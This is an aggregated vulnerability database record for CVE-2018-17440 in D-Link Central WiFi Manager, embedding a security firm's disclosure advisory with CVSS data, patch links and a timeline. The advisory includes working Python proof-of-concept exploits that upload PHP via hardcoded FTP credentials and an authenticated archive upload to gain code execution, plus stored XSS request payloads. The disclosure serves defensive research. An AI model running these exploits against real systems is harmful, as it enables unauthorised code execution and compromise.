ID

VAR-201810-0846


CVE

CVE-2018-17440


TITLE

D-Link Central WiFi Manager Vulnerable to unlimited upload of dangerous types of files

Trust: 0.8

sources: JVNDB: JVNDB-2018-010756

DESCRIPTION

An issue was discovered on D-Link Central WiFi Manager before v 1.03r0100-Beta1. They expose an FTP server that serves by default on port 9000 and has hardcoded credentials (admin, admin). Taking advantage of this, a remote unauthenticated attacker could execute arbitrary PHP code by uploading any file in the web root directory and then accessing it via a request. D-Link Central WiFi Manager Contains a vulnerability related to unlimited uploads of dangerous types of files.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. *Advisory Information* Title: D-Link Central WiFiManager Software Controller Multiple Vulnerabilities Advisory ID: CORE-2018-0010 Advisory URL: http://www.coresecurity.com/advisories/d-link-central-wifimanager-software-controller-multiple-vulnerabilities Date published: 2018-10-04 Date of last update: 2018-10-04 Vendors contacted: D-Link Release mode: Coordinated release 2. *Vulnerability Information* Class: Unrestricted Upload of File with Dangerous Type [CWE-434], Improper Authorization [CWE-285], Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') [CWE-79], Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') [CWE-79] Impact: Code execution Remotely Exploitable: Yes Locally Exploitable: Yes CVE Name: CVE-2018-17440, CVE-2018-17442, CVE-2018-17443, CVE-2018-17441 3. *Vulnerability Description* D-Link's website states that: [1] Central WiFiManager Software Controller helps network administrators streamline their wireless access point (AP) management workflow. Central WiFiManager is an innovative approach to the more traditional hardware-based multiple access point management system. It uses a centralized server to both remotely manage and monitor wireless APs on a network. Vulnerabilities were found in the Central WiFiManager Software Controller, allowing unauthenticated and authenticated file upload with dangerous type that could lead to remote code execution with system permissions. Also, two stored Cross Site Scripting vulnerabilities were found. 4. *Vulnerable Packages* . Central WifiManager v1.03 Other products and versions might be affected, but they were not tested. 5. *Vendor Information, Solutions and Workarounds* D-Link released the following Beta version that addresses the reported vulnerabilities: . Central WifiManager v 1.03r0100-Beta1 In addition, D-Link published a security note in: https://securityadvisories.dlink.com/announcement/publication.aspx?name=SAP10092 6. *Credits* These vulnerabilities were discovered and researched by Julian Munoz from Core Security Consulting Services. The publication of this advisory was coordinated by Leandro Cuozzo from Core Advisories Team. 7. On 7.2 we show a similar attack to but in this case with an authenticated user in the web application. The application has a functionality to upload a .rar file used for the captive portal displayed by the Access Points. We will craft a .rar with a PHP file that we will end up executing in the context of the web application. When the .rar is uploaded is stored in the path "\web\captivalportal" in a folder with a timestamp created by the PHP time() function. In order to know what is the web server's time we request an information file that contains the time we are looking for. After we have the server's time we upload the .rar, calculate the proper epoch and request the appropriate path increasing this epoch by one until we hit the correct one. Finally, we discovered two Cross-Site Scripting, one on the update site functionality, in the 'sitename' parameter (7.3) and the other one on the creation of a local user in the 'username' parameter (7.4). 7.1. /----- import requests from ftplib import FTP #stablish connection with FTP server host_ip = "127.0.0.1" ftp = FTP() ftp.connect(host=host_ip<ftp://ftp.connect(host=host_ip>, port=9000) ftp.login(<ftp://ftp.login(>"admin", "admin") data = [] #create PHP poc file poc_php_file = open("poc.php", "w+") poc_php_file.write("<?php\nsystem('whoami');\n?>") poc_php_file.close() #upload PHP poc file php_file = open("poc.php", "rb") ftp.cwd('/web/public')<ftp://ftp.cwd('/web/public')> ftp.storbinary(<ftp://ftp.storbinary(>"STOR write_file.php", php_file) ftp.dir(data.append)<ftp://ftp.dir(data.append)> ftp.quit()<ftp://ftp.quit()> for line in data: print "-", line session = requests.Session() session.trust_env = False #get the uploaded file for remote code execution get_uploaded_file = session.get('https://127.0.0.1/public/write_file.php', verify=False) print get_uploaded_file.text -----/ 7.2. *Authenticated Remote Code Execution by Unrestricted Upload of File with Dangerous Type* [CVE-2018-17442] In this case we make a file upload using the functionality given by the onUploadLogPic endpoint, that will take a .rar file, decompress it and store it in a folder named after the PHP time() function. Our goal is first obtain the server's time, upload a .rar with our PHP file, calculate the proper epoch and iterate increasing it until we hit the proper one and remote code execution is achieved. /----- import re import time import requests import datetime import tarfile def parse_to_datetime(date_string): date_list = date_string.split("-") td = date_list[2][2:].split(":") return datetime.datetime(int(date_list[0]), int(date_list[1]), int(date_list[2][:2]),int(td[0]), int(td[1]), int(td[2])) session = requests.Session() session.trust_env = False php_session_id = "96sml0e9soke02k6d672oumqq4" #example (insert here the proper session id) cookie = {'PHPSESSID': php_session_id} #create tar file to upload. poc_php_file = open("poc.php", "w+") poc_php_file.write("<?php\nsystem('whoami');\n?>") poc_php_file.close() poc_tar_file = tarfile.open("poc_tar_file.tar", mode="w") poc_tar_file.add("poc.php") poc_tar_file.close() #get server datetime. get_server_time_from_requested_file = session.get('https://127.0.0.1/index.php/ReportSecurity/ExportAP/type/TXT', cookies=cookie, verify=False) date = re.search("Date(.*)\d", get_server_time_from_requested_file.text).group().replace('DateTime ', '') #generate epoch from server's date epoch = int(time.mktime(parse_to_datetime(date).timetuple())) #upload attack PHP file. attack_tar_file = "poc_tar_file.tar" tar_file = {'stylename': 'attack', 'logfile': open(attack_tar_file, 'rb')} restore_backup_response = session.post('https://127.0.0.1/index.php/Config/onUploadLogPic', files=tar_file, cookies=cookie, verify=False) for i in range(0,20): #get the uploaded file named after time epoch, returned by PHP time() function. filename = str(epoch) + "/" + "poc.php" get_uploaded_file = session.get('https://127.0.0.1/captivalportal/%s' %filename, verify=False) if get_uploaded_file.status_code == 200: print "Remote Code Execution Achived" print get_uploaded_file.text break epoch += 1 -----/ 7.3. *Cross-Site Scripting in the application site name parameter* [CVE-2018-17443] The 'sitename' parameter of the UpdateSite endpoint is vulnerable to a stored Cross Site Scripting: The following is a proof of concept to demonstrate the vulnerability: /----- POST /index.php/Config/UpdateSite HTTP/1.1 Host: 10.2.45.220 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://10.2.45.220/index.php/Config/CreatSite Cookie: Test_showmessage=false; Test_tableStyle=1; think_language=en-US; PHPSESSID=4fvbnmn343424rg8m1jg3qbc05 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 66 siteid=0&sitename=<script>alert(1)</script>&sitenamehid=fakesitename&UserMember%5B%5D=1 -----/ 7.4. *Cross-Site Scripting in the creation of a new user* [CVE-2018-17441] The 'username' parameter of the addUser endpoint is vulnerable to a stored Cross Site Scripting. The following is a proof of concept to demonstrate the vulnerability: /----- POST /index.php/System/addUser HTTP/1.1 Host: 10.2.45.220 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://10.2.45.220/index.php/System/userManager Content-Type: application/x-www-form-urlencoded; Content-Length: 96 Cookie: Test_showmessage=false; Test_tableStyle=1; think_language=en-US; PHPSESSID=4fvbnmn343424rg8m1jg3qbc05 Connection: close username=<script>alert(1)</script>&userpassword=fakepassword&level=1&email=&remark=&userid=0&creator=1&mandatory=change& -----/ 8. *Report Timeline* 2018-06-04: Core Security sent an initial notification to D-Link, including a draft advisory. 2018-06-06:D-Link confirmed the reception of the advisory and informed they will have an initial response on 06/08. 2018-06-08: D-Link informed that they would provide a schedule for the fixes on 06/13. 2018-06-08: Core Security thanked the update. 2018-06-14: D-Link informed its plan of remediation and notified Core Security that the fixed version will be available on 08/31. 2018-06-15: Core Security thanked the update and proposed to keep in regular contact until this tentative release date. 2018-07-23: Core Security requested a status update. 2018-07-25: D-Link answered saying that they are still targeting 08/31 as the release date. 2018-08-24: Core Security requested a new status update and a solidified release date for the fixed version. 2018-08-28: D-Link sent a beta version for test. 2018-08-30: Core Security tested the beta version and requested D-Link to coordinate a release date. 2018-09-21: D-Link informed that they were planning a security announcement and they were ready to schedule a disclosure date. 2018-09-24: Core Security thanked the update and proposed October 4th as the publication date. 2018-10-04: Advisory CORE-2018-0010 published. 9. *References* [1] http://us.dlink.com/products/business-solutions/central-wifimanager-software-controller/. 10. *About CoreLabs* CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com. 11. *About Core Security* Core Security provides companies with the security insight they need to know who, how, and what is vulnerable in their organization. The company's threat-aware, identity & access, network security, and vulnerability management solutions provide actionable insight and context needed to manage security risks across the enterprise. This shared insight gives customers a comprehensive view of their security posture to make better security remediation decisions. Better insight allows organizations to prioritize their efforts to protect critical assets, take action sooner to mitigate access risk, and react faster if a breach does occur. Core Security is headquartered in the USA with offices and operations in South America, Europe, Middle East and Asia. To learn more, contact Core Security at (678) 304-4500 or info@coresecurity.com<mailto:info@coresecurity.com> 12. *Disclaimer* The contents of this advisory are copyright (c) 2018 Core Security and (c) 2018 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/

Trust: 2.34

sources: NVD: CVE-2018-17440 // JVNDB: JVNDB-2018-010756 // CNVD: CNVD-2018-20466 // VULHUB: VHN-127900 // PACKETSTORM: 149673

IOT TAXONOMY

category:['ICS']sub_category: -

Trust: 0.6

sources: CNVD: CNVD-2018-20466

AFFECTED PRODUCTS

vendor:dlinkmodel:central wifimanagerscope:gteversion:1.00

Trust: 1.0

vendor:dlinkmodel:central wifimanagerscope:ltversion:1.03

Trust: 1.0

vendor:d linkmodel:central wifi managerscope:ltversion:1.03r0100-beta1

Trust: 0.8

vendor:d linkmodel:central wifi manager <1.03r0100-beta1scope: - version: -

Trust: 0.6

sources: CNVD: CNVD-2018-20466 // JVNDB: JVNDB-2018-010756 // NVD: CVE-2018-17440

CVSS

SEVERITY

CVSSV2

CVSSV3

nvd@nist.gov: CVE-2018-17440
value: CRITICAL

Trust: 1.0

NVD: CVE-2018-17440
value: CRITICAL

Trust: 0.8

CNVD: CNVD-2018-20466
value: HIGH

Trust: 0.6

CNNVD: CNNVD-201810-271
value: CRITICAL

Trust: 0.6

VULHUB: VHN-127900
value: HIGH

Trust: 0.1

nvd@nist.gov: CVE-2018-17440
severity: HIGH
baseScore: 7.5
vectorString: AV:N/AC:L/AU:N/C:P/I:P/A:P
accessVector: NETWORK
accessComplexity: LOW
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: PARTIAL
availabilityImpact: PARTIAL
exploitabilityScore: 10.0
impactScore: 6.4
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 1.8

CNVD: CNVD-2018-20466
severity: HIGH
baseScore: 10.0
vectorString: AV:N/AC:L/AU:N/C:C/I:C/A:C
accessVector: NETWORK
accessComplexity: LOW
authentication: NONE
confidentialityImpact: COMPLETE
integrityImpact: COMPLETE
availabilityImpact: COMPLETE
exploitabilityScore: 10.0
impactScore: 10.0
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.6

VULHUB: VHN-127900
severity: HIGH
baseScore: 7.5
vectorString: AV:N/AC:L/AU:N/C:P/I:P/A:P
accessVector: NETWORK
accessComplexity: LOW
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: PARTIAL
availabilityImpact: PARTIAL
exploitabilityScore: 10.0
impactScore: 6.4
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.1

nvd@nist.gov: CVE-2018-17440
baseSeverity: CRITICAL
baseScore: 9.8
vectorString: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
attackVector: NETWORK
attackComplexity: LOW
privilegesRequired: NONE
userInteraction: NONE
scope: UNCHANGED
confidentialityImpact: HIGH
integrityImpact: HIGH
availabilityImpact: HIGH
exploitabilityScore: 3.9
impactScore: 5.9
version: 3.0

Trust: 1.8

sources: CNVD: CNVD-2018-20466 // VULHUB: VHN-127900 // JVNDB: JVNDB-2018-010756 // CNNVD: CNNVD-201810-271 // NVD: CVE-2018-17440

PROBLEMTYPE DATA

problemtype:CWE-434

Trust: 1.9

sources: VULHUB: VHN-127900 // JVNDB: JVNDB-2018-010756 // NVD: CVE-2018-17440

THREAT TYPE

remote

Trust: 0.6

sources: CNNVD: CNNVD-201810-271

TYPE

code problem

Trust: 0.6

sources: CNNVD: CNNVD-201810-271

CONFIGURATIONS

sources: JVNDB: JVNDB-2018-010756

EXPLOIT AVAILABILITY

sources: VULHUB: VHN-127900

PATCH

title:Central WiFi Manager (CWM-100) :: Multiple vulnerability disclosed - Fix releasedurl:https://securityadvisories.dlink.com/announcement/publication.aspx?name=SAP10092

Trust: 0.8

title:Patch for D-Link Central WiFi Manager Arbitrary Code Execution Vulnerability (CNVD-2018-20466)url:https://www.cnvd.org.cn/patchInfo/show/141707

Trust: 0.6

title:D-Link Central WiFi Manager Security vulnerabilitiesurl:http://123.124.177.30/web/xxk/bdxqById.tag?id=85468

Trust: 0.6

sources: CNVD: CNVD-2018-20466 // JVNDB: JVNDB-2018-010756 // CNNVD: CNNVD-201810-271

EXTERNAL IDS

db:NVDid:CVE-2018-17440

Trust: 3.2

db:DLINKid:SAP10092

Trust: 2.4

db:EXPLOIT-DBid:45533

Trust: 1.7

db:JVNDBid:JVNDB-2018-010756

Trust: 0.8

db:CNNVDid:CNNVD-201810-271

Trust: 0.7

db:CNVDid:CNVD-2018-20466

Trust: 0.6

db:PACKETSTORMid:149673

Trust: 0.2

db:VULHUBid:VHN-127900

Trust: 0.1

sources: CNVD: CNVD-2018-20466 // VULHUB: VHN-127900 // JVNDB: JVNDB-2018-010756 // PACKETSTORM: 149673 // CNNVD: CNNVD-201810-271 // NVD: CVE-2018-17440

REFERENCES

url:https://securityadvisories.dlink.com/announcement/publication.aspx?name=sap10092

Trust: 2.4

url:http://seclists.org/fulldisclosure/2018/oct/11

Trust: 2.3

url:https://www.exploit-db.com/exploits/45533/

Trust: 1.7

url:https://www.secureauth.com/labs/advisories/d-link-central-wifimanager-software-controller-multiple-vulnerabilities

Trust: 1.7

url:https://nvd.nist.gov/vuln/detail/cve-2018-17440

Trust: 0.9

url:https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2018-17440

Trust: 0.8

url:https://www.coresecurity.com/advisories/d-link-central-wifimanager-software-controller-multiple-vulnerabilities

Trust: 0.7

url:https://127.0.0.1/index.php/config/onuploadlogpic',

Trust: 0.1

url:https://127.0.0.1/public/write_file.php',

Trust: 0.1

url:https://nvd.nist.gov/vuln/detail/cve-2018-17441

Trust: 0.1

url:https://10.2.45.220/index.php/config/creatsite

Trust: 0.1

url:http://corelabs.coresecurity.com.

Trust: 0.1

url:https://nvd.nist.gov/vuln/detail/cve-2018-17443

Trust: 0.1

url:https://nvd.nist.gov/vuln/detail/cve-2018-17442

Trust: 0.1

url:http://corelabs.coresecurity.com/

Trust: 0.1

url:https://127.0.0.1/index.php/reportsecurity/exportap/type/txt',

Trust: 0.1

url:http://us.dlink.com/products/business-solutions/central-wifimanager-software-controller/.

Trust: 0.1

url:http://creativecommons.org/licenses/by-nc-sa/3.0/us/

Trust: 0.1

url:https://127.0.0.1/captivalportal/%s'

Trust: 0.1

url:https://10.2.45.220/index.php/system/usermanager

Trust: 0.1

sources: CNVD: CNVD-2018-20466 // VULHUB: VHN-127900 // JVNDB: JVNDB-2018-010756 // PACKETSTORM: 149673 // CNNVD: CNNVD-201810-271 // NVD: CVE-2018-17440

CREDITS

Core Security Technologies, Julian Munoz

Trust: 0.1

sources: PACKETSTORM: 149673

SOURCES

db:CNVDid:CNVD-2018-20466
db:VULHUBid:VHN-127900
db:JVNDBid:JVNDB-2018-010756
db:PACKETSTORMid:149673
db:CNNVDid:CNNVD-201810-271
db:NVDid:CVE-2018-17440

LAST UPDATE DATE

2024-11-23T21:38:13.309000+00:00


SOURCES UPDATE DATE

db:CNVDid:CNVD-2018-20466date:2018-10-10T00:00:00
db:VULHUBid:VHN-127900date:2018-11-23T00:00:00
db:JVNDBid:JVNDB-2018-010756date:2018-12-21T00:00:00
db:CNNVDid:CNNVD-201810-271date:2023-04-27T00:00:00
db:NVDid:CVE-2018-17440date:2024-11-21T03:54:25.167

SOURCES RELEASE DATE

db:CNVDid:CNVD-2018-20466date:2018-10-10T00:00:00
db:VULHUBid:VHN-127900date:2018-10-08T00:00:00
db:JVNDBid:JVNDB-2018-010756date:2018-12-21T00:00:00
db:PACKETSTORMid:149673date:2018-10-04T23:23:13
db:CNNVDid:CNNVD-201810-271date:2018-10-09T00:00:00
db:NVDid:CVE-2018-17440date:2018-10-08T16:29:01.633